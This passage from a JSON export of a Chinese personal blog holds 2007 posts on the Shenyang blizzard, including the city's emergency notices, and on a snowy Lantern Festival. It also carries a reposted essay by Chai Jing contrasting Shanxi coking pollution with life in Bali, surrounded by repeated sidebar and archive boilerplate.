协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/03/05/shenyang-after-the-heavy-snow/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"沈阳·暴雪后"},{"content":"早起，屋里感觉冷飕飕的，估计外面的气温已经下降很低了。打开窗帘，外面阳光明媚，不过风依旧很大，远望对面的楼根地下积雪已经快爬上一楼窗台了，不用惊慌，雪还没下这么厚，都是大风吹的。^_^\n按通知今天不用上班，本想尝试问问今天能否出去，结果在网上看到了沈阳市政府昨晚的几个通告，全文如下：\n沈阳市政府应急指挥中心紧急公告(第一号)\n鉴于沈阳市遭受历史罕见的特大暴风雪，沈阳市政府应急指挥中心紧急公告如下：\n一、市内交通目前已处于瘫痪状态，请广大市民不要开车出行，以减轻道路出行压力，确保安全。\n二、所有交警立即到达岗位疏导交通，确保公交车、出租车等各类车辆及时驶离被困现场。\n三、全市各宾馆、饭店、医院、商店等公共服务场所，尽全力为被困群众提供救援帮助和食宿方便。\n四、全市各区和街道办事处要动员所有社会力量及广大市民参与疏导交通，为被困车辆和群众奉献爱心，提供各种帮助。\n沈阳市政府应急指挥中心紧急公告(第二号） 当前，尽快清除道路积雪，恢复城市交通，是维护全市正常生产生活秩序的主要任务。为此，沈阳市政府应急指挥中心发布第二号紧急公告如下：\n一、各区（开发区）、县（市）政府要采取一切有效措施，确保夜间道路上被困车辆内人员人身安全，并务于3月5日上午8时前将滞留在道路中的车辆全部清理完毕。同时，组织环卫专业队伍等各种力量，清除道路和桥梁积雪，确保主要干道畅通。\n二、全市各机关、企事业单位、驻沈部队、大专院校、社区街道和个体经营业户，从3月5日上午开始组织清除各自除雪责任段、门前三包划定区域和住宅小区内积雪，确保24小时内完成所承担的社会化除雪任务。\n三、全市各机关、企事业单位、驻沈部队、大专院校、个体经营业户的运输车辆要无条件服从所在地除雪指挥部的统一调配，积极参与除运积雪工作。\n四、市行政执法部门要依据有关规定，对无故不参与除运积雪或未按要求完成除运积雪任务的单位和个人予以处罚，并在新闻媒体上进行曝光。\n市政府号召全市人民积极行动起来，自觉参与除运积雪工作，为尽快恢复我市正常的生产生活秩序、取得除雪救灾工作全面胜利作出贡献。\n沈阳市政府应急指挥中心紧急公告（第三号）\n为保证除雪工作顺利进行，尽快恢复我市城市道路交通正常秩序，沈阳市政府应急指挥中心发布紧急公告第三号如下：\n自2007年3月5日6时起，至3月6日6时止，除公交车、出租车、警车、救护车、工程抢险车等特种车辆以及除（运）雪车辆外，禁止其它机动车辆在二环路以内（含二环路）的道路上行驶。\n全市各机关、企事业单位的货运车辆和铲车，要按照所在区除雪指挥部的统一安排，积极参加除运积雪工作。\n看来今天是出不去了，市区内积雪估计很厚，否则通告也不会这么写；从新华网上的新闻图片上也看得出来这次暴风雪带来的损失可不小，因为无法亲自到市区去，这里也不能贴图片了，遗憾。新闻上还说皇姑区一农贸市场顶棚垮塌，造成一人死亡多人受伤，唉，这可是我们不愿意看到的。\n现在对于我来说当务之急是解决吃饭问题^_^，存粮已经不多了，估计旁边的小超市也被抢购的差不多了。^_^ 期待天气快点转好吧。\n","permalink":"https://tonybai.com/2007/03/05/track-the-very-heavy-snow-in-shenyang/","summary":"\u003cp\u003e早起，屋里感觉冷飕飕的，估计外面的气温已经下降很低了。打开窗帘，外面阳光明媚，不过风依旧很大，远望对面的楼根地下积雪已经快爬上一楼窗台了，不用惊慌，雪还没下这么厚，都是大风吹的。^_^\u003c/p\u003e","title":"沈阳·特大暴风雪跟踪'报道'"},{"content":"今天是传统农历新年的最后一个重要节日-元宵节，早上起来拉开窗帘，哇，外面一片银白的世界，打开Computer，Search一下沈阳的天气，居然发现今天是暴雪转小雪，东北方向风力6－7级，看来沈阳今年的元宵节要在暴雪中度过了。\n昨天本来出去想买些汤圆的，但是家乐福人太多，推着购物车在结帐处等了好长时间，前面等待结帐的长队依然还是那么长，由于需要赶车，遂放弃了一车的东西，这可是第一次，唉。本来今天计划去买的，可是这样的天气不知道能否出去。外面狂风夹着大雪一直也没有停止的迹象，上午11点鼓起勇气迈出了家门。一来到单元门口，发现门居然被积雪顶住，用了好大力气才推开，心中马上打消了去家乐福购物的计划，就到旁边的小超市买点汤圆吃吃吧。\n楼门前积雪\n一路上风雪太大，眼睛都睁不开，路上的积雪没过脚腕儿，每迈一步都很艰难，雪粒打在脸上耳朵上很疼。掏出手机抓拍了几张，立马将手机收起来，生怕进了雪水。\n风雪很大，能见度很低\n风雪中行人举步为艰\n路上积雪很厚\n小区内雪积的也很厚\n等买完汤圆回到屋里，衣服表面已经湿了。今年是暖冬，在这个已经开始进入春天的时候下了今年最大一场雪，也是最近几年记忆中最大的一场雪。下午一点半左右突然停电了，物业说是浑南供电的问题，也许是外面风太大造成的，期望不要在一片漆黑中度过元宵佳节。三点半左右终于来电了^_^。\n雪依旧很大，一碗热腾腾的汤圆确让人着实感受到节日的气氛^_^。\n一碗热汤圆\n刚才收到公司同事的一条短信，通知明天不用上班，看来这次’雪灾’真是很严重呀！\n","permalink":"https://tonybai.com/2007/03/04/take-lanterns-festival-while-it-snows-heavily-at-shenyang/","summary":"\u003cp\u003e今天是传统农历新年的最后一个重要节日-元宵节，早上起来拉开窗帘，哇，外面一片银白的世界，打开Computer，Search一下沈阳的天气，居然发现今天是暴雪转小雪，东北方向风力6－7级，看来沈阳今年的元宵节要在暴雪中度过了。\u003c/p\u003e","title":"沈阳·暴雪中度过元宵节"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/02/14/take-valentine-day-on-the-train-alone/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"列车上过'情人节'"},{"content":"这不是我的原创blog，这篇blog的内容来自著名记者柴静，之所以转这篇blog是因为我看了后觉得很恐怖，也提醒和呼吁大家保护我们赖以生存的环境。\n一\n\u0026ldquo;你见过星星么?\u0026rdquo;\n\u0026ldquo;没有\u0026rdquo;。\n\u0026ldquo;你见过白云么?\u0026rdquo;\n\u0026ldquo;没有\u0026rdquo;\n\u0026ldquo;空气是什么味道?\u0026rdquo;\n\u0026ldquo;臭的\u0026quot;她用手扇扇鼻子。\n这是6岁的山西人王惠琴眼中的世界。她闻到的味道是焦油的气味，不过更危险是她闻不到的无味气体，那是一种叫苯并芘的强致癌物，超标9倍。\n离她的教室50米的山坡上，是一个年产60万吨的焦化厂，对面100米的地方是两个化工厂，她从教室走回家的路上还要经过一个洗煤厂。\n不过，就算这么近，也看不清这些巨大的厂房，因为这里的空气的能见度不到十米。\n在只有灰黑的世界上，她的红色棉袄是唯一的颜色。\n二\n山涧很深，翡翠色的河流，乱石耸动，是远古以来河的面貌，两岸是稠绿的原始热带森林，千百年的巨大榕树从极高处垂下藤，到底部已经非常细了，叶子青嫩细小，一点点接近水面。\n面包树的树干上结满一球球红色的果实。\n\u0026ldquo;是长来给鸟吃的\u0026quot;划船的男人说。\n两岸都是香蕉树，果实尚青。\n他收起桨，要我们拿好东西，别让附近的猴子抢走。\n船一拐过弯，有群年青人，架在悬崖上凿石刻，十数米的石壁，绵延不尽。钉铛声在山间传很远，有男子赤身站在河中间，弯腰鞠起一捧水喝，铜色的小臂坚实虬劲。\n抬起头，阿勇河上空群鸟乱飞。\n三\n王惠琴家附近那条河叫文裕河。\n\u0026ldquo;这还是河吗?\u0026ldquo;我问山西环保局的副局长。\n\u0026ldquo;你可以把它叫排污沟\u0026rdquo;。\n河水是黑色的，上面是七彩的油污，工厂的工业废水都直接排进来，这个河的断面苯并芘超标220倍。\n\u0026ldquo;山西60%的河都是这样\u0026quot;他说。\u0026ldquo;这并不是最要紧的，要紧的是现在已经出现地下水污染了\u0026rdquo;\n就是说，污染物已经从土壤中一点一点地渗下去，一直到几百米之下。\n他说\u0026quot;想先发展，再治理?太天真了—-治不了。\u0026rdquo;\n\u0026ldquo;如果现在把污染全停下来，来不及吗?\u0026rdquo;\n\u0026ldquo;不行，挖煤把地下挖空了，植被破坏了，雨水根本涵养不住\u0026rdquo;\n\u0026ldquo;你是说无论如何我都看不见汾河的水了?\u0026rdquo;\n他看我一眼，\u0026ldquo;你这一代不行了\u0026rdquo;\n四\n普通的三口之家，开着吉普车，前座上坐着浓眉重睫的小女孩。\n院子里是每家都有的小龛，供着印度教的神灵，或者是象与猴，女人在它们的耳边簪上鲜红的扶桑花，妩媚之极。\n门口是雕像，木雕像是男人与女人的交欢像。\n旁边是花盏，一个石雕的矮挫男子，搂住一只大石缸，里面种满肥绿的植物，直溢出来，挂到地上。\n我们路过一处，男人们正在一级一级的台阶上铺上白色的赤素花，肤色浅黑的男子在我耳边也戴上一朵。\n五\n王惠琴的村子已经至少三百年了，禇红色的城门还在，写着\u0026quot;康熙年间\u0026quot;建造。\n村里的老房子基本都在，砖雕繁密美丽，只不过很多都塌落地上，尽化为土，没有人管。\n村子没有生气，土地都卖给厂了，男人不是在厂里干活，就是跑焦车，王惠琴妈妈抱着小弟弟坐在炕上，小孩子脸上都是污迹。\n看到我们歉意地拿布擦坑沿\u0026quot;呀，擦不过来，风一吹，灰都进来，跟下雨一样\u0026rdquo;\n这个村子被五个工厂紧紧裹着，因为离村子近就是离公路和电近。\n按规定所有的工厂都得离村子一千米外，但厂子搬不了—–不可能搬，煤焦的比重占到孝义GDP的70%—-它要冲\u0026quot;全国百强县，它的县领导正在被提拨的关口上。\n只有村民搬。老村子都拆。\n\u0026ldquo;搬哪儿去呢?\u0026ldquo;这个县城光焦化企业就47个，其中违规建设的有38家，符合环境标准的，没有。\n\u0026ldquo;不知道，只想能搬得远一点，不闻这呛死人的味儿就行\u0026rdquo;\n有人上来说\u0026quot;说话小心点，工厂可给你钱了\u0026rdquo;\n\u0026ldquo;那点钱能管什么?你病了谁给你治?\u0026rdquo;\n他们吵起来了。\n我问那人\u0026quot;难道你不怕住在这儿的后果?\u0026rdquo;\n\u0026ldquo;习惯了就行了\u0026quot;他说\u0026quot;人的进化能力很强的\u0026rdquo;\n\u0026ldquo;你在这个厂子工作?\u0026rdquo;\n他勉强地哦了一声。\n\u0026ldquo;一个月多少钱?\u0026rdquo;\n\u0026ldquo;一千\u0026rdquo;\n\u0026ldquo;一千块钱，这么过，你愿意?\u0026rdquo;\n\u0026ldquo;愿意\u0026rdquo;\n六\n\u0026ldquo;2月1日，晴\n中午在莲花餐厅吃饭，我一到那个地方就有强烈的童年的感觉。\n郝笑我，你们山西有这个么?\n她是说这些华美的印度教寺庙，几百年的巨树，落英缤纷的荷塘…\n不，不是指这个，而是—-象现在这样强烈的高明度的阳光，绿荫，浓的色彩，还有动物的啼叫。\n那是我在是个婴儿的时候，躺在那里感觉到的东西—-也可能是留在人的基因里一代一代遗传下来的远古的记忆。\n其实人离不开这一切—-离不开自然和美。\n污染会死人，会毒害人，但是最让我感到痛苦是它让人失去w人原本应有的一切生活方式。\n巴厘岛的人住在几百年的石头房子里，他们每天清晨都砍下新鲜的枝条，把叶子编成齿状，把悬垂的花朵挂在窗前，每天视如无睹地走过华美的印度洋的黄昏，而我的同胞，祖先们盖起的房子要被拆迁，河流里早已干枯，流淌的都是化工企业的污水，人们呼吸着焦油和强致癌物。\n人应该怎么生活?\n人到底应该怎么生活?\n我只想写下美，可是为什么我总觉得窒息，就象我还没有离开孝义?在黑夜里会咳嗽到醒。\n巴厘岛的人为什么会耐心地照料每一处房屋，每一个小小的细节，也许因为他们在这个地方有安全感，放心地把子孙后代都交给这个土地。\n我的土地上，有人有这样的安全感么?\u0026rdquo;\n七\n漂流完，是谁对划船的工人说\u0026quot;你们真幸运，生活在这里。\u0026rdquo;\n他一笑，说\u0026quot;no money,no good\u0026rdquo;。\n","permalink":"https://tonybai.com/2007/02/13/shanxi-environment-polluted-very-seriously/","summary":"\u003cp\u003e这不是我的原创blog，这篇blog的内容来自著名记者\u003ca 